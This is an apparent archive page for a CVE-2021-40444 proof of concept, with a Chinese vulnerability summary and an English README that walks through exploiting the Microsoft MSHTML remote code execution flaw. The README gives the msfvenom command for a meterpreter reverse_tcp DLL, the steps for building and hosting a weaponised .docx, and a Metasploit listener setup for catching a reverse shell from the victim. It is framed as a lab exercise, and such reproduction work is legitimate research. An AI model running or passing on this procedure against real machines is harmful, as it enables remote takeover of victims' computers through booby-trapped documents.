关联漏洞
标题:Microsoft MSHTML.DLL 路径遍历漏洞 (CVE-2021-40444)Description:Microsoft MSHTML.DLL是美国微软（Microsoft）公司的一个用于解析HTML语言的动态链接库，IE、Outlook、Outlook Express等应用程序都使用了该动态链接库。 Microsoft MSHTML.DLL 存在路径遍历漏洞，远程攻击者可以创建带有恶意ActiveX控件的特制Office文档，诱使受害者打开文档并在系统上执行任意代码。
Description
An attempt to reproduce Microsoft MSHTML Remote Code Execution (RCE) Vulnerability and using Metasploit Framework.
介绍
# CVE-2021-40444-POC
An attempt to reproduce Microsoft MSHTML Remote Code Execution (RCE) Vulnerability using Metasploit Framework.
*works best if not run in FlareVM*
### PREPARATION
Git Clone the repository from https://github.com/lockedbyte/CVE-2021-40444
Prepare the `.dll` template to be used later with `msfvenom`
`msfvenom -p windows/meterpreter/reverse_tcp lhost=<SOURCE_IP> lport=<LISTENING_PORT> -f dll -o template.dll`
Copy the recently produced `template.dll` into the folder `test/` from the repository
Give executable permission to the `template.dll` by `chmod +x template.dll`
Run the script to use the `template.dll` to be process into `output`
`python3 exploit.py generate ~/test/template.dll http://<SOURCE IP>`
### LISTENER
The document will then be exported into the folder `out/` and we can make a listener in our HTTP Port (Default is 80)
`python3 exploit.py host 80`
Run metasploit with
`msfconsole -q`
`use multi/handler`
`set payload windows/meterpreter/reverse_tcp`
`set lhost <SOURCE IP>`
`run`
### PAYLOAD
Then we can send the `document.docx` to our vulnerable machine and execute the .docx
We will get response in the `exploit.py` terminal and also the lab is successful if we are able to spawn reverse tcp shell.
文件快照
[4.0K] /data/pocs/91bd4a229fc5907e6b1f52853dea4f2b47b000c8
└── [1.2K] README.md
0 directories, 1 file
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问，请发送邮件到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
3. 神龙已为您对 POC 代码进行快照，为了长期维护，请考虑为本地 POC 付费/捐赠，感谢您的支持。